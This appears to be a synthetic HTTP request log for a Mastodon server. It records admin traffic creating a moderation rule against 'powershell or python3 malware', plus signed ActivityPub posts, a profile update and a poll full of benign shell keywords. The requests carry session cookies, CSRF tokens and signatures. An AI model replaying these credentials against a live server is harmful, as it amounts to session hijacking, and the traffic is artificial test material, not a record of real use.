{"method": "GET", "target": "/admin/rules/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--203c40bb381615d05f03a2f8a85e9fcc7e6b7270; _mastodon_session=vpjeH%2Bcg9tUjebhrSEwZuhDq3n80g8YMpXP6KDWyO%2B4g%2B9em9rT8gpWm6kz%2FIG5zh%2FHg4fYY4WjjSJupw5bjait4MINeSkEsk%2BKIcI4l%2BptzjTehWFVgxAMrSivMOxD5a6oQICl%2BhV7ZcA0mTJPHVk9EfiQvz7s44lSCvevimOG337bQWXgAjA8Wed3XAsB980n7mPnaf%2B%2F0w43PZfGJzuuJM2tQu44yyQr86O6dib490mLKM0PpQlQkt7Ci4g0%2Br14723bsqTLoMh0Lagx4dQKlUQ8qXPyziYf01nP0s7ZmCROmDcRGjE5GfISB2tuGpAi5yd9RVxpmESRl3L4xy%2FYBsSb0J49Vw0koSjKxbTDJGcOd%2Fk1X%2FGfumGVvK19yOjIM%2F%2FBeUmQQ--BycggxXUpL95VeKN--fGEvXkIXSWu0YcTmKu4STw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/favicon-32x32-CiQz7Niw.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=AL3VcyLj1n0BbLqghV2FnjedsGcBaO6YXBxxxJJ%2FPljYuYRlCKgWyAnPpSRKdxRLqPvWnppICtuHPIvFTj7B3Hon4UfHVayw%2FIOxNtiV9%2FPPhW%2FwBwpoK2AztZyL%2BnzvnS2ZKnhNKYctJHD0C4rREGzKTOxgUR3a5gCHuBfBE6ZUAWYXUrZZURz0%2F%2BDnKXDA6noWGxv0NlFoOyqGcLj3QmJQL6LvqbeFt%2BdVuJU7mvrVd%2Fz4ukC%2BUOaZJyJQKwps1y6yAjBvPyenZ95GeVHvMtXn16n5MmFNjQ%3D%3D--rXOV4nzcMvb2oI%2FF--1fhYl%2FgtYiKJGX%2Brxz%2BUtA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/media_modal-BzzTvu5_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/modulepreload-polyfill-P2Xu9kJm.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/packs/utils-B19lL5A9.js", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/rules/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/rules/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzMuMzY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c1d98ce73d44fd31d5fd4635f301c3fd6aa1bb44; _mastodon_session=p6m93PIEFHVfOXOxCkbSUpYq9OUwJsLfi78lVaQvt1B325f7knpF75ttosgaEgrww64ySYCjldaKF134ao0aPwWVSj9zAgbNcRWrx%2BnzosuwmzT3zx%2B1%2BYXEKl0qTxpO2oIzNiRsZChLo30ob5dgfApaaEFJ7NFi6OdAMVpPWx8N23MB9iaJgTcYhZBt9GQPIY3KkYU7yoDKr2zicUVWZZKSgBrhZPI9tg9j1Ek%2BJlXcWokNT4tOvfGuI8qODxC90jOWyeBUbN%2F8lm6n5ttL1A7DiwJU7m4iYAFfLnLlTpYNqaHr3wSkXZ1saW2b0rSkSBXBNhQfmcnrwhtYTo7hBEvUXAdPVuTMlWSbnUdhVqXCLHDJLPKJoKrmDPFjb8h7AKFBSeKZlj%2FB--kjxBhmr8%2FlasSzrE--s1SnunCNfFFz%2Fvk0EQKG%2BA%3D%3D"], "body": "authenticity_token=XRgCXMq0ZnSnqcNY4B_FSTaacGg5gAbsAW9sxBm4eNUlzmuYvSnnRBjePwB_w8vXeX7eGL9onXljVnIFxPNuLw&rule%5Btext%5D=No+posting+of+powershell+or+python3+malware&rule%5Bhint%5D=Explaining+ls+-la+and+.htaccess+is+fine&button="}
|
||||||
|
{"method": "GET", "target": "/settings/preferences/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzYuMzM2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--525c8dfe218350761c42e9036f350133fedb1d8b; _mastodon_session=%2BfyWrSrOkbLB5%2BTaHxv4BeL33sDgPkGfdmAq81LrDrzpfXpCALhGtyvAjpvsPM%2BumHLhptcnA4T48AyWJjEBLwsCDloIZ0%2Fx7Td%2Fpf7v0XCdoEvkL%2FF3DNgcMsT1dD6zX1%2BP4V2t3on%2BSQ2L2500xt8QXlGCtVLd%2FqoytaeYBFq0LOEhxV0Wy%2F4hLg%2BcCRISlznrUXwuPWAsdaGSLSHZIkj3m42qWbxJE9rsImqfWZD0XV48DCjDwCEMXXQWXGR%2BgjD7pMBFbv74scJ%2BTR7GtMiN%2FzTWPkCzKjhkxyxR6PBHPym4Mocfu1ANHLiw5xuUEO8allE%2FoXos0sVl1YlmmeRXTckk%2B3s0kZdTIwmcQSA1p7Y6S54oNIIgN3w9NRg%2BLXsFOcEs%2BOM%2F--U%2BuwBJe7Sfx%2B0z0Z--lK8Wh6XPD70JhoUAbAxi%2FA%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/auth/sign_out", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 120", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/preferences/appearance", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzYuNzcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--07fc69c11927e9226137db1d8ff961cce5037f48; _mastodon_session=4U4XinCMo3%2F3PCSbmw3qSlkfVVxI%2FcAklV3idWD25xgwG%2Bl%2FoRLAiwT3B51q7zz6TILyvgYehuy1kyuajv121pcRqzGczwCzj4NZyVelwpeFktM2B524HxTtWo3EluYvAs8iJIPg2fUwL%2B%2Fbb6WYNXNcEEE8i0OvAzYeSl9UvAlRBxuWSjkp%2Bib7R9LxEWwOTrNckwGr1zOEPF9n2lDWgV3tzoLB4SC9hnX9KBjESl7KBAcKVl%2FYK1AwoXAwwT8VT5RrutbCVLJr1zYOjzGV6dIWXwJ8u8DAWkaLkLU2zJIrgCeNxrUlzU2pbj4VDxdMaA7G8T6FglNm30w1sEypESvnTcjW1OXgzQjSgphgjowz1JgdAuvW7OanF4EB%2B3HYLfoasF7xudva--jemseh9kirfHooQK--wT%2B4lCY8B73hijkkDTg4cg%3D%3D"], "body": "_method=delete&authenticity_token=Ukx6K959crH1oidfhE2YoA-mabDq4PPMSVJ8ccdJOm9gj6p8AkuGJSUX7gscfTHAs5red_wXbumer2FIhKaT_g"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2483", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=FZROQqjDOKyPDl7fKcxNMM1bgBOj8ITDHNSklfJiWew=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"Yl6d6XaxNtokT6lWdDq2rHd59TYcY9Rz35DZEElrTTc2y9s27SfqjZHMxNgR8N/Q7Q/JItRG4okpCGGIMNq97AeEoce6EHrXfrggKdECJqw/VmMlB9Lz5xIOydPlSN9of++33Sd9H23GRWyv/xyAPLafpAQayVM3VKbu+KugRNBxt6M1JIHGy3KvkPQIs/YXUGTy8L8+Ha4Imf1E5i//aV831IPTXjJzjTFn41i/F4lmQGuOcaZLyAZfsTaXotHzEy6wYXcI7xET7wZC2vDmzdHqEFfFVK7ZkEUrCu0iDyPoX19sB6An4bKozf3E43ahKQXISu65RuPucFVGYAdZYA==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/300/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T13:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/300\",\"type\":\"Note\",\"summary\":\"python3 tips\",\"inReplyTo\":null,\"published\":\"2026-11-09T13:00:00Z\",\"url\":\"https://remote.example/@alice/300\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\"],\"sensitive\":true,\"content\":\"<p>Today I learned: <code>ls -la ~/.config</code> lists hidden files, and <code>python3 -m http.server</code> serves a folder. <a href=\\\"https://example.org/notes\\\" target=\\\"_blank\\\" rel=\\\"nofollow noopener\\\" translate=\\\"no\\\"><span class=\\\"invisible\\\">https://</span><span class=\\\"\\\">example.org/notes</span></a></p>\",\"contentMap\":{\"en\":\"<p>Today I learned: <code>ls -la ~/.config</code> lists hidden files, and <code>python3 -m http.server</code> serves a folder. <a href=\\\"https://example.org/notes\\\" target=\\\"_blank\\\" rel=\\\"nofollow noopener\\\" translate=\\\"no\\\"><span class=\\\"invisible\\\">https://</span><span class=\\\"\\\">example.org/notes</span></a></p>\"},\"attachment\":[{\"type\":\"Document\",\"mediaType\":\"image/png\",\"url\":\"https://remote.example/media/1.png\",\"name\":\"Screenshot of ls -la and .htaccess in a terminal\",\"blurhash\":\"U00000fQfQfQfQfQfQfQfQfQfQfQ\",\"width\":16,\"height\":16}],\"tag\":[]}}"}
|
||||||
|
{"method": "POST", "target": "/ap/users/117589326485981102/inbox", "headers": ["Content-Length: 2418", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=vFLr2RLu0uEAeVCCuYa+j6TFkgcF0xRsZpEK+N/VjMQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"I2NQZYk09uAsBoNCEScK3R9TV7jzfppw3wU7DYY5Uk6iY15CWuwQrv2MOolisviZb5R/q1pSaqXweZUs1zgDqglab6errhKWJfyalsJD4wfb4tYxgDAe3RW8OS3phlfb2VA6Flau4YyB6Lkz+wM8P14i6s/Vxu72Is1CBmcNa69QKAt7SQX5PrSpX5gPX4tFrFPmYd+NacuSi/ObLKdhtQTktFbLAz91tmfUqkrHSnvi/gXTqP9eS1ZDE2Ipbg/d34rYJE6En+iZvqe3gewQSLcru+IejLa6rM/uLG1Nss7FkhYJm6Jympj40jU0lHETEmdYczmrqDQikgCSLztkLg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice#updates/2\",\"type\":\"Update\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice\",\"type\":\"Person\",\"preferredUsername\":\"alice\",\"name\":\"Alice powershell\",\"summary\":\"<p>python3, powershell, ls -la and .htaccess</p>\",\"inbox\":\"https://remote.example/users/alice/inbox\",\"outbox\":\"https://remote.example/users/alice/outbox\",\"followers\":\"https://remote.example/users/alice/followers\",\"following\":\"https://remote.example/users/alice/following\",\"endpoints\":{\"sharedInbox\":\"https://remote.example/inbox\"},\"url\":\"https://remote.example/@alice\",\"publicKey\":{\"id\":\"https://remote.example/users/alice#main-key\",\"owner\":\"https://remote.example/users/alice\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh+7JMlOpvG2A1pJ0awX6\\nHkaPXyLYm8oOQwSGGgEi0e9WjAPXSTh1u3kc51VhRSP4JwYPf3Nr34a/EfygI1/K\\nw9Y79VHdHIe6R9Cjrt/ixm66Glnr7hniJoCyAL3ZcrEJ/Qvxqw5wzOEpNlNA6j76\\nX8rKtoiczVguVN6JhSDvA3kdIgdONCvRC+4Q9/bH/MLESPKJTDS0kno1NngAg9CZ\\nd/X2sIFdkygIdQrUeYoAhE8+m0dS4y6dEV2ue9GGPMG2irdXNDvonndjoNaGJ8zP\\nlo9LRZETB/HkpdB44XKjhXyvORG/qId98r4Is1UTr5kAyip0tNifO2SCyp6j5Dgb\\n7wIDAQAB\\n-----END PUBLIC KEY-----\\n\"},\"attachment\":[{\"type\":\"PropertyValue\",\"name\":\"python3\",\"value\":\"ls -la\"},{\"type\":\"PropertyValue\",\"name\":\".htaccess\",\"value\":\"powershell\"}]}}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 1942", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=2XyvDyxRB33iLUf2kxoHCSaliLQDc7bjONSJFwmCrPc=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"VUSxO7sGjpJB4UOgCh9pBZ4lPsaTutm7yomVdVIrMZE4tdVOYMWvvCS4AItAwu75LYTMg67rYLM4sKWC4VvSsbQX0OZ8DfLXnkotPJ3sc3bRz8AXwlMzfslEJWTdWDcayJJP68zrU/GdwPYzdEsVbAMOaA7nbuljksZ4bfA5p23G4jZvMSCfA+tcgi3XLMbOruQ0tes6Zlzr90yRrZK3AipNUU0eZ779XyPrTXVsSff7Nkh8/7+P9VHSuVx9EWKTBX1cWzppkTM37lQyccjoT8zyMAYMPt4JPcuqyOYv2ecRKPDpszGkb60YyU1duJwnYJgWjERAhbdVYtQ5LbFYRQ==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/301/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/301\",\"type\":\"Question\",\"attributedTo\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T14:00:00Z\",\"endTime\":\"2026-11-12T14:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"content\":\"<p>Which?</p>\",\"oneOf\":[{\"type\":\"Note\",\"name\":\"python3\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\"powershell\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\"ls -la\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\".htaccess\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}}]}}"}
|
||||||
|
